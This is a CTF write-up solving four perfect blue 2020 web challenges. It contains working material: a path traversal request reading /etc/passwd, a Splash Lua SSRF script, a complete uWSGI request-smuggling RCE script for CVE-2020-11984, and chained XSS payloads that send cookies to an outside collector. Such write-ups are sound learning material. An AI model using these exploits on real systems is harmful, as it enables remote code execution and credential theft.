This year, my team (Crusaders of Rust) played in perfect blue's inaugural CTF, and it was a ton of fun. As always, I focused on mainly web challenges, and they were very interesting! My teammates were super helpful, basically helping to finish my ideas and finalize exploits on every web challenge.
We ended up getting 11th place, which I think was pretty good when considering we only got one pwn and one rev. We missed solving two web challenges, r0bynotes (with 4 solves), and XSP (with 3 solves).
Well, onto the writeups.
Apoche 1 was an interesting challenge where they say an old version of 'apoche' is being used. Checking online, I find nothing about 'apoche', and so I assume it has to be a custom web server binary. Going to the link, we see:
Going through all of the pages, there's nothing interesting to find. So, time to start some initial recon. My teammate helpfully remembered to check robots.txt
(I always forget lol), and we discover the existence of a /secret/
directory.
User-agent: * Disallow: /secret/
In the secret folder, we find 6 text files, the most important of which, 5.txt
, says:
2020-01-02 It's the second day of the NEW YEAER! quite exciting I just noticed somebody was trying to access my /var/www/secret data 😢 so I decided to filter out '/' and '.' characters in the beginning of the path. Maybe I should stop logging stuff here... not safe -- theKidOfArcrania
Hm, it looks like the author of the binary did some filtering with /
and .
characters. This has all the signs of a path / directory traversal attack. Playing around with the URL, we end up finding a way to leak arbitrary files.
[email protected]:~/CTFs/pbctf2020$ curl http://34.68.159.75:37173///..css/../../../../../etc/passwd --path-as-is root:x:0:0:root:/root:/bin/console daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin web:x:1000:1000::/home/web:/bin/sh
Now, with arbitrary file read, we tried examining various locations in the file system. One place to always check is /proc/self
, to see if you can leak environment variables or cmdline arguments. The hint from before leads me to /proc/self/exe
, which is a link that points to the currently running process. Requesting that link, and dumping the contents of the file, we grabbed the custom server binary.
[email protected]:~/CTFs/pbctf2020/web_apoche$ file exe exe: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=b26109fa468be74ca8de6fea31f2f3bbdd45d5c6, for GNU/Linux 3.2.0, not stripped [email protected]:~/CTFs/pbctf2020/web_apoche$ strings exe | grep pbctf Btw, the first flag is pbctf{n0t_re4lly_apache_ap0che!}
And, we got the flag. Solving this challenge unlocked "Apoche II", the 2nd part of this challenge. But, since it was about pwning this custom web server binary, I didn't look into it.
pbctf{n0t_re4lly_apache_ap0che!}
In this challenge, we got first blood, 30 seconds before the other teams solved. It felt nice to be at the top of the leaderboard for those 30 seconds. Navigating to the website, we see:
Putting in a URL, we do get a request at the other end. However, we don't get the contents back from the website, only the "geometry" of the site. Not really sure what that means, but I assumed it was just the window size of the website. This looks to be some SSRF
attack. The website provides the source code behind the scraper, and we see that it's written in PHP.
It has three files, api.php
, flag.php
, and index.php
. Checking out flag.php
, we see:
<?php $FLAG = getenv("FLAG"); $remote_ip = $_SERVER['REMOTE_ADDR']; if ($remote_ip === "172.16.0.13" || $remote_ip === '172.16.0.14') { echo $FLAG; } else { echo "No flag for you :)"; } ?>
So, it looks like we can get the flag by requesting flag.php
only if we come from the local IPs. We can put
http://sploosh.chal.perfect.blue/flag.php
into the scraper, which does make the local request, but since it only prints out the geometry, we can't read the flag.
Checking out api.php
, we see:
<?php
error_reporting(0);
header("Content-Type: application/json");
function fail() {
echo "{}";
die();
}
if (!isset($_GET['url'])) {
fail();
}
$url = $_GET['url'];
if ($url === '') {
fail();
}
try {
$json = file_get_contents("http://splash:8050/render.json?timeout=1&url=" . urlencode($url));
$out = array("geometry" => json_decode($json)->geometry);
echo json_encode($out);
} catch(Exception $e) {
fail();
}
?>
Hm, it seems to use something called splash
and render.json
. It puts our url through urlencode
, so anything we put (like url parameters, &
, ?
, etc) are correctly encoded. Then it gets the geometry
from the json request, and returns that.
Looking online, we find the splash scraping API. At first, we thought that the solution would come from being able to leak data with the website's geometry somehow, or by changing the fields so that geometry corresponded to the HTML of the site.
But, looking at the API docs, I found the lua_source
argument, which lets you execute a custom script. The example script provided is:
function main(splash, args)
splash:go("http://example.com")
splash:wait(0.5)
local title = splash:evaljs("document.title")
return {title=title}
end
Now, how can we use this to get the flag? Well, the first idea is to just include the lua_source
parameter in our URL, but since it's urlencode
d, it doesn't get passed to splash. Then, I came up with the idea: why not use the splash scraper to make a request to the splash scraper again?
We first write a lua script that grabs the flag and makes a request with it:
function main(splash, args)
assert(splash:go("http://172.16.0.14/flag.php"))
assert(splash:wait(0.5))
splash:go("https://enqew6zn63kq.x.pipedream.net/" .. splash:html())
return {
html = splash:html(),
png = splash:png(),
har = splash:har(),
}
end
Then, we urlencode
the payload, and add it to http://splash:8050/execute?lua_source=
. So, when the scraper accesses this website, it'll run our lua script, and make a request with our flag.
Sending over the URL:
http://splash:8050/execute?lua_source=function%20main(splash%2C%20args)%0A%20%20assert(splash%3Ago(%22http%3A%2F%2F172.16.0.14%2Fflag.php%22))%0A%20%20assert(splash%3Await(0.5))%0A%20%20splash%3Ago(%22https%3A%2F%2Fenqew6zn63kq.x.pipedream.net%2F%22%20..%20splash%3Ahtml())%0A%20%20return%20%7B%0A%20%20%20%20html%20%3D%20splash%3Ahtml()%2C%0A%20%20%20%20png%20%3D%20splash%3Apng()%2C%0A%20%20%20%20har%20%3D%20splash%3Ahar()%2C%0A%20%20%7D%0Aend
gives us the flag.
pbctf{1_h0p3_y0u_us3d_lua_f0r_th1s}
Simple Note was a very "interesting" challenge, in that the code was way too simple. The website brings you to a place where you can submit text.
Here's the source code provided:
import uuid
import os
import time
from flask import Flask, request, flash, redirect, send_from_directory, url_for
UPLOAD_FOLDER = '/tmp/notes'
app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
@app.route('/notes/<filename>')
def note(filename):
return send_from_directory(app.config['UPLOAD_FOLDER'], filename, mimetype="text/plain")
@app.route('/')
def index():
if request.args.get('note') and len(request.args.get('note')) < 0x100:
time.sleep(1) # ddos protection
filename = uuid.uuid4().hex
with open(os.path.join(app.config['UPLOAD_FOLDER'], filename), "w") as f:
f.write(request.args.get('note'))
return redirect(url_for("note", filename=filename))
return '''
<!doctype html>
<title>Create a note</title>
<h1>Create a note</h1>
<form>
<textarea name=note></textarea>
<input type=submit value=Upload>
</form>
'''
But, looking over the source code, we found no bugs. No path traversal bug since send_from_directory
is secure, no file name shenanigans because it's randomized. So, I started combing over the other files provided.
The source code also had copies of the apache2
config, httpd.conf
, and also Dockerfile
s for the Docker containers.
Running diff
on the new config, we see:
This honestly doesn't look very interesting. It loads apache's uwsgi
proxy modules to make all requests to /
go to the uwsgi app at port 4444
. uWSGI is named after the "Web Server Gateway Interface" and is often used to serve Python applications through the uwsgi
protocol. It also loads the http2
module, which I thought was weird, but nothing struck me out as vulnerable.
Looking at the main Dockerfile
for the app, we see:
FROM python:3.8.5-buster ARG FLAG RUN mkdir -p /app /tmp/notes COPY app.py /app/ COPY requirements.txt /app/ RUN echo $FLAG > /flag.txt WORKDIR /app RUN pip install -r requirements.txt RUN groupadd -r app && useradd --no-log-init -r -g app app RUN chown app:app /tmp/notes USER app EXPOSE 4444 CMD [ \ "uwsgi", "--puwsgi-socket", "0.0.0.0:4444", "--manage-script-name", "--mount", "/=app:app", "--mount", "=app:app", \ "--max-requests=50", "--min-worker-lifetime=15", "--max-worker-lifetime=30", "--reload-on-rss=512", "--worker-reload-mercy=10", \ "--master", "--enable-threads", "--vacuum", "--single-interpreter", "--die-on-term" \ ]
This shows us that the flag is located at /flag.txt
. We also got the launch parameters for uwsgi
, which look a little odd, but at the time I assumed that they were for load balancing. Well, with no obvious vulnerability, I started looking online for CVEs and research papers. Eventually, I found this, an article about CVE-2020-11984.
The most important message from the article is:
A malicious request can easily overflow pktsize (C) by sending a small amount of headers with a length that is close to the LimitRequestFieldSize default value of 8190... If UWSGI is explicitly configured in persistent mode (puwsgi), this can also be used to smuggle a second UWSGI request leading to remote code execution. (In its standard configuration UWSGI only supports a single request per connection, making request smuggling impossible)
The CVE documents a buffer overflow in an older version of apache2
(which was being used), that might lead to RCE through interpreting uWSGI packets. Unfortunately, there was no PoC to implement this CVE... CTF challenges where you have to implement n-days are always fun 🙃
Anyway, following the article, we find a GitHub doc about exploiting a public facing uWSGI server (in Chinese). However, we can just yoink their exploit script, which can be found here.
So, this exploit script helps create a payload to send to the server, but we still need to implement the CVE. I used the script to generate a payload that ran curl
to a server, then created the following script:
import requests as r URL = "http://localhost:18888" #URL = "http://simplenote.chal.perfect.blue" n = -200 headers = { "A": "A"*(4096+n) } print(headers) req = r.post(URL, headers=headers, data=open("test.exp", "rb").read()*15) print(req.text)
This script sends a large header over (with n being a number to modify easily), then sends the exploit packet 15 times (just to be sure). I used a POST
request, but anything would have worked. Sending this over to my local server, I get a request to my server.
Unfortunately, pointing this exploit to remote didn't work. After DMing an admin, they recommended trying to change the padding, so I randomly changed the padding. However, it didn't work until the admin's pushed another change to the app, making the exploit much more stable.
I used the Python script from the GitHub repo to run the command cat /flag.txt > /tmp/notes/strellicez
, then, navigating to /notes/strellicez
I get the flag.
pbctf{pwn1n6_ap4ch3_i5_St1ll w3b r1gh7?}
Third solve! After getting the flag, I decided to make a nicer script, and eventually realized that whatever change the admin's pushed made it so you don't even need any header spam.
Here's my full solve script.
import urllib.parse
import socket
# CVE-2020-11984 exploit script
# for pbctf web challenge Simple Note
HOST = "http://localhost:18888"
#HOST = "http://simplenote.chal.perfect.blue"
CMD = "cat /etc/passwd > /tmp/notes/passwd_note"
url = urllib.parse.urlparse(HOST)
host = "127.0.0.1" if url.netloc.split(":")[0] == "localhost" else socket.gethostbyname(url.netloc)
port = url.port or 80
# taken from https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py
def fromhex(data):
padded = hex(data if isinstance(data, int) else len(data))[2:].rjust(4, '0')
return bytes.fromhex(padded)[::-1]
def generate_packet(cmd):
packet = {
'SERVER_PROTOCOL': 'HTTP/1.1',
'REQUEST_METHOD': 'GET',
'PATH_INFO': "/nowhere",
'REQUEST_URI': "/nowhere",
'QUERY_STRING': "",
'SERVER_NAME': host,
'HTTP_HOST': host,
'UWSGI_FILE': f"exec://{cmd}",
'SCRIPT_NAME': "/nowhere"
}
pk = b''
for k, v in packet.items() if hasattr(packet, 'items') else packet:
pk += fromhex(k) + k.encode('utf8') + fromhex(v) + v.encode('utf8')
result = b'\x00' + fromhex(pk) + b'\x00' + pk
return result
packet = generate_packet(CMD)
print(f"[!] Exploit packet generated! Length: {len(packet)}")
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.connect((host, port))
http = b'GET / HTTP/1.1\r\n'
http += b'Host: ' + url.netloc.encode() + b'\r\n'
http += b'Content-Length: ' + str(len(packet)).encode() + b'\r\n'
http += b'\r\n'
http += packet
conn.send(http)
print(f"[!] Exploit packet sent!")
Ikea Name Generator was a very "scuffed" web challenge. The hardest part of this challenge was probably trying to encode the payload correctly. In the website, you can input your name to generate your own IKEA name. You could also report a URL to an admin. There was also a login page, but you needed a special cookie only the admin had.
So, the goal was obvious - XSS to leak cookie from admin, then login to get the flag.
There was a very simple XSS vector, we could just ask for any HTML to be encoded, and it would get rendered directly on the page. However, there was a problem - CSP.
Checking the CSP headers on the site, we see:
default-src 'none'; script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.4/lodash.min.js; connect-src 'self'; frame-src 'self'; img-src 'self'; style-src 'self' https://maxcdn.bootstrapcdn.com/; base-uri 'none';
If you don't know, CSP stands for Content Security Policy, where the page can load scripts, styles, images, etc. from. Since script-src
didn't contain unsafe-inline
, we can't put our own script tag on the page. Google's CSP-Evaluator doesn't really see anything wrong with the CSP, so I assume that there's nothing wrong with bootstrapcdn
or lodash
.
Here's the source code of the website:
<!DOCTYPE HTML>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
<link rel="stylesheet" href="/app.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.4/lodash.min.js"></script>
</head>
<body>
<div class="container">
<div class="d-flex justify-content-end">
<a href="/login.php">Login</a>
</div>
<div class="d-flex justify-content-center">
<h1>IKEA name generator</h1>
</div>
<div class="d-flex justify-content-center">
<p>Wanna know your IKEA name?</p>
</div>
<div class="d-flex justify-content-center">
<div class="input-group">
<input id="input-name" value="<h1>yo</h1>"
class="form-control" placeholder="Enter your name here"/>
<div class="input-group-append">
<button id="button-submit" class="btn">Submit</button>
</div>
</div>
</div>
</div>
<br/>
<br/>
<br/>
<div class="d-flex justify-content-center">
<div id="output"><h1>yo</h1>, your IKEA name is : </div>
</div>
<script src="/config.php?name=%3Ch1%3Eyo%3C%2Fh1%3E"></script>
<script src="/app.js"></script>
<div class="container">
<div class="d-flex justify-content-end">
Don't like your IKEA name? Report it <a href="/report.php">here</a>.
</div>
</div>
<img id="tracking-pixel" width=1 height=1 src="/track.php">
</body>
</html>
We see links to two scripts, config.php
, and app.js
. config.php
takes a GET parameter, name
, and then outputs a CONFIG
object.
// http://ikea-name-generator.chal.perfect.blue/config.php?name=hello
CONFIG = {
url: "/get_name.php",
name: "hello"
}
Unfortunately, we can't escape the quotes to inject our own JavaScript here since our payload is encoded correctly. (or can we? check the sidenote at the end!)
app.js
holds the client-side logic behind the app:
function createFromObject(obj) {
var el = document.createElement("span");
for (var key in obj) {
el[key] = obj[key]
}
return el
}
function generateName() {
var default_config = {
"style": "color: red;",
"text": "Could not generate name"
}
var output = document.getElementById('output')
var req = new XMLHttpRequest();
req.open("POST", CONFIG.url);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")
req.onreadystatechange = function () {
if (req.readyState === XMLHttpRequest.DONE) {
if (req.status === 200) {
var obj = JSON.parse(req.responseText);
var config = _.merge(default_config, obj)
sandbox = document.createElement("iframe")
sandbox.src = "/sandbox.php"
var el = createFromObject({
style: config.style,
innerText: config.text
})
output.appendChild(sandbox)
sandbox.onload = function () {
sandbox.contentWindow.output.appendChild(el)
}
}
}
}
req.send("name=" + CONFIG.name)
}
window.onload = function() {
document.getElementById("button-submit").onclick = function() {
window.location = "/?name=" + document.getElementById("input-name").value
}
generateName();
}
The gist of app.js
is that when generateName()
is called, it makes a request to CONFIG.url
with CONFIG.name
, then merges the content with default_config
, then places that into an iFrame pointed to /sandbox.php
. Seems very contrived...
The last part of the HTML that seemed very suspicious was a tracking-pixel at /track.php
. One thing to always remember when doing challenges: anything "extra" in a challenge that doesn't seem necessary probably is important in some way. Going to /track.php
, we get redirected to a 404 page, http://ikea-name-generator.chal.perfect.blue/404.php?msg=Sorry,+this+page+is+unavailable.
, which just prints Sorry, this page is unavailable.
.
Hm... it looks like whatever we put in the msg
parameter gets echoed out back to the page. My initial idea is to just place JS code in the msg
parameter, then embed that using a script
tag. Since it's on http://ikea-name-generator.chal.perfect.blue/
, it should be allowed by CSP.
However, doing this gives us an error:
Damn, it looks like the 404.php
just outputs text in mime type text/plain
, so it won't be usable. However, this gives me an idea - if we can set CONFIG.url
to point to 404.php
, we can have it output whatever we want. Remember, in the CSP, connect-src
is set to only self
, so CONFIG.url
has to point to some place on the website.
But if we don't have JS, how can we set CONFIG.url
? The answer: DOM clobbering. DOM clobbering is an attack where you inject DOM objects into the page, and they change the execution flow of JavaScript? How? Well, for any HTML element on a page with an id
, a corresponding variable is created on the page with that id
. Something to note, this only holds if that variable name isn't set before.
For example, if a page has the HTML <div id="output"></div>
, checking the variable name output
in the developer console shows:
So, if we create an HTML element with the id of CONFIG
, we can break the website. However, the CONFIG
variable name is already defined, so this doesn't work. Unless...
If we comment out the rest of the page, config.php
is never included, so CONFIG
is never defined. If we do this, and also embed app.js
, we change the CONFIG
variable.
Now, how do we change CONFIG.url
to point to a specific place? Well, we can exploit HTML collections. Following this article, if we do:
<a id="CONFIG"><a id="CONFIG" name="url" href="https://google.com">yo</a></a><!--
CONFIG.url
gets set to https://google.com
. How does this work? Well, if we check the value of CONFIG
in the console, we see:
Multiple elements with the same id
create an HTML collection where both their index and name
get mapped to their HTML element. So, CONFIG.url
points to the second HTML element with the url. Now, a
elements have this special property, where running toString()
on them returns their href
.
So, with this method, we can set CONFIG.url
to point to wherever we want (but it'll only work for a place on the website b/c of CSP). Now, if we include app.js
right before the comment, it'll make a request to whatever url we want. Now, what can we do with this...
Well, the response is parsed as JSON and combined with default_config
using lodash
's _.merge
. This introduces another vulnerability: prototype pollution. In JS, objects can have a prototype object which is basically the parent template where the object can inherit methods and properties from.
In app.js
, an element is created using createFromObject
and placed in the sandboxed iFrame:
var el = createFromObject({
style: config.style,
innerText: config.text
})
Since innerText
is used, we can't inject HTML into the element. We need to be able to set innerHTML
to get XSS on the sandbox object. Since a new object is created here from the prototype, what if we pollute the prototype of objects? Any properties we set on the prototype will be passed to its children.
So, our goal is to pollute the prototype of the base JS object to have innerHTML
set by default. Our JSON
is merged with default_config
, so we can do default_config.constructor
to get access to the base JS object. Then, we can do default_config.constructor.prototype
to get access to its prototype. From there, we can set any property we want, like innerHTML
, to have it passed down to any newly created objects.
Try running this in the console if you want to try it out:
let default_config = { "a": "b" }; default_config.constructor.prototype.innerHTML = "<h1>hello!</h1>"; console.log(({}).innerHTML); // outputs: <h1>hello!</h1>
So, the correct JSON payload would be:
{"constructor": {"prototype": {"innerHTML": "<h1>hello!</h1>"}}}
Again, we can use 404.php
to have it output this JSON, then use DOM clobbering to have it request this url and get merged. So, our payload is:
<a id="CONFIG"><a id="CONFIG" name="url" href='http://ikea-name-generator.chal.perfect.blue/404.php?msg={"constructor":{"prototype":{"innerHTML":"<h1>hello!</h1>"}}}'>yo</a></a><script src="/app.js"></script><!--
Sending this, we see:
Right, now we have XSS in sandbox.php
. What can we do with this? My first instinct was to run JS and exfiltrate the cookie, but CSP strikes again. But this time, there's a different CSP...
default-src 'none'; script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.js; style-src 'self' https://maxcdn.bootstrapcdn.com/; connect-src https:; base-uri 'none';
Well, this time, angular is allowed to run. And now, our connect-src is any https:
website. So, if we can somehow run JS code on the sandbox, we can send it over to our server easily. The problem is that script-src
still doesn't let us run arbitrary JS...
angular.js is allowed in the CSP, so obviously it's a part of the solution. Let's try to get angular running in sandbox.php
. sandbox.php
doesn't include it in its source code, so we embed the script
tag in our innerHTML payload. But, this doesn't work...
Unfortunately, you can't inject script tags dynamically through innerHTML. Script tags need to be there when the page loads, or need to be created dynamically through document.createElement
. So, what do we do now?
Well, we can abuse the srcdoc
attribute of an iFrame
. The srcdoc
attribute specifies the HTML content to show in the inner frame. So, if we inject an iFrame like:
<iframe srcdoc="<script src='https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.js'></script>"></iframe>
we can get angular running in the frame.
This is when I started to have a ton of trouble with encoding and chaining all of the different payloads. But, let's skip that mess. With angular running in the frame, do we now have arbitrary JS execution? No.
Angular does allows for another web attack, template injection. Even with angular injected, the CSP is still too restrictive. One common payload is:
<div ng-app>
{{ constructor.constructor("alert(1)")() }}
</div>
but this requires angular to be able to evaluate code from strings, which is only given when unsafe-eval
is allowed in the script-src. But, angular has event handlers. We might be able to get angular to run when something happens on the page, which hopefully will run code.
I was stuck here for a while as I couldn't get angular CSP bypasses to work. However, my teammate found this exploit:
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
from this page. In this HTML, the angular in ng-focus
is run when the textarea
is focused, which should happen automatically because of the autofocus
attribute. With this, we can try to modify the payload to get it to exfiltrate cookies.
He came up with the following script, which utilizes the DOM clobbering, prototype pollution, and angular template injection to steal the admin's cookies:
import urllib.parse
import json
host = 'http://ikea-name-generator.chal.perfect.blue/'
frame = '<script src=\'https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.js\'></script>'
frame += '<div ng-app ng-csp><textarea autofocus ng-focus="$event.view.parent.parent.document.location=$event.view.name+$event.view.document.cookie"></textarea></div>'
prototype_exploit = {
'constructor': {
'prototype': {
'innerHTML': f'<iframe srcdoc="{frame}" name="https://enqew6zn63kq.x.pipedream.net/?"></iframe>'
}
}
}
prototype_url = host + '404.php?' + urllib.parse.urlencode({ 'msg': json.dumps(prototype_exploit) })
clobber_exploit = f"""<a id="CONFIG">
<a id="CONFIG" name="url" href="{prototype_url}">
yo
</a>
</a>
<script src="/app.js">
</script><!--"""
final_url = host + '?' + urllib.parse.urlencode({ 'name' : clobber_exploit})
print(final_url)
Probably the hardest part at this point was encoding everything correctly, as we had to chain all these exploits together into one URL that had all the correct quotes and apostrophes. This script helped make everything easier.
Running this, we get the following URL:
http://ikea-name-generator.chal.perfect.blue/?name=%3Ca+id%3D%22CONFIG%22%3E%0A++%3Ca+id%3D%22CONFIG%22+name%3D%22url%22+href%3D%22http%3A%2F%2Fikea-name-generator.chal.perfect.blue%2F404.php%3Fmsg%3D%257B%2522constructor%2522%253A%2B%257B%2522prototype%2522%253A%2B%257B%2522innerHTML%2522%253A%2B%2522%253Ciframe%2Bsrcdoc%253D%255C%2522%253Cscript%2Bsrc%253D%2527https%253A%252F%252Fcdnjs.cloudflare.com%252Fajax%252Flibs%252Fangular.js%252F1.8.2%252Fangular.js%2527%253E%253C%252Fscript%253E%253Cdiv%2Bng-app%2Bng-csp%253E%253Ctextarea%2Bautofocus%2Bng-focus%253D%2526quot%253B%2524event.view.parent.parent.document.location%253D%2524event.view.name%252B%2524event.view.document.cookie%2526quot%253B%253E%253C%252Ftextarea%253E%253C%252Fdiv%253E%255C%2522%2Bname%253D%255C%2522https%253A%252F%252Fenqew6zn63kq.x.pipedream.net%252F%253F%255C%2522%253E%253C%252Fiframe%253E%2522%257D%257D%257D%22%3E%0A++yo%0A++%3C%2Fa%3E%0A%3C%2Fa%3E%0A%3Cscript+src%3D%22%2Fapp.js%22%3E%0A%3C%2Fscript%3E%3C%21--
Setting a cookie to test, and navigating to that URL, we see our cookies exposed on our server. Now, if we report this URL to the admin, we see:
Now, setting this cookie and navigating to the login page, we get the flag.
pbctf{pr0t0typ3_p0llut10n_1s_4_f34tur3}
Sidenote, I just saw this amazing solution from another team that I definitely wanted to talk about. Using their payload, the URL I generated is:
http://ikea-name-generator.chal.perfect.blue/?name=%3Cscript%20src=%22config.php?name=%251b(J%2522%251b(B};{location.sdf=(`${atob(`aHR0cHM6Ly9lbnFldzZ6bjYza3EueC5waXBlZHJlYW0ubmV0Lw==`)}`%252bdocument.cookie)%0a};{a=%251b$Ba%22%20charset=ISO-2022-JP%3E%3C/script%3E%0A
This doesn't use prototype pollution, DOM clobbering, or template injection - it just relies on unicode and script tag charsets! The charset
attribute of a script tag specifies the encoding used. Again, config.php
works by taking the GET
parameter, escaping it, and then placing it into the JS object.
Unfortunately, we can't get arbitrary code execution since we can't escape the quotes as they're escaped. However, I didn't realize that through abusing weird charsets, we can escape the quotes! The specific URL that they use for config.php
is:
http://ikea-name-generator.chal.perfect.blue/config.php?name=%1b(J%22%1b(B};{location.href=(`${atob(`aHR0cHM6Ly9lbnFldzZ6bjYza3EueC5waXBlZHJlYW0ubmV0Lw==`)}`%2bdocument.cookie)};{a=%1b$Ba
When viewing this normally, the page looks like this:
CONFIG = {
url: "/get_name.php",
name: "(J\"(B};{location.href=(`${atob(`Ly9tb2Nvcy5raXRjaGVuOjgwODAv`)}`+document.cookie)};{a=$Ba"
}
But, this is injected in a script tag with charset ISO-2022-JP! When this is interpreted with this charset, we find the code transforms to:
CONFIG = {
url: "/get_name.php",
name: "Â¥"};{location.href=(`${atob(`aHR0cHM6Ly9lbnFldzZ6bjYza3EueC5waXBlZHJlYW0ubmV0Lw==`)}`+document.cookie)};{a=ç“£
}
This script is included in the page, and the admin is redirected to their server with the cookie! This was probably found through fuzzing different charsets, but I thought this was just super cool. The escaped slash gets swallowed up encoding the symbols, so this charset allowed the author to escape the quotes and write their own payload. Super cool.
This CTF was a ton of fun and I learned a lot. I did make some progress on XSP (but getting xs-leaks working correctly evades me for the 3rd time), and learned some Ruby for the first time from r0bynotes. My teammates this year were super amazing, and incredibly helpful in researching, investigating, and debugging when the shit I did went wrong. Special thanks to perfect blue for hosting a great CTF, and I hope to do well next year!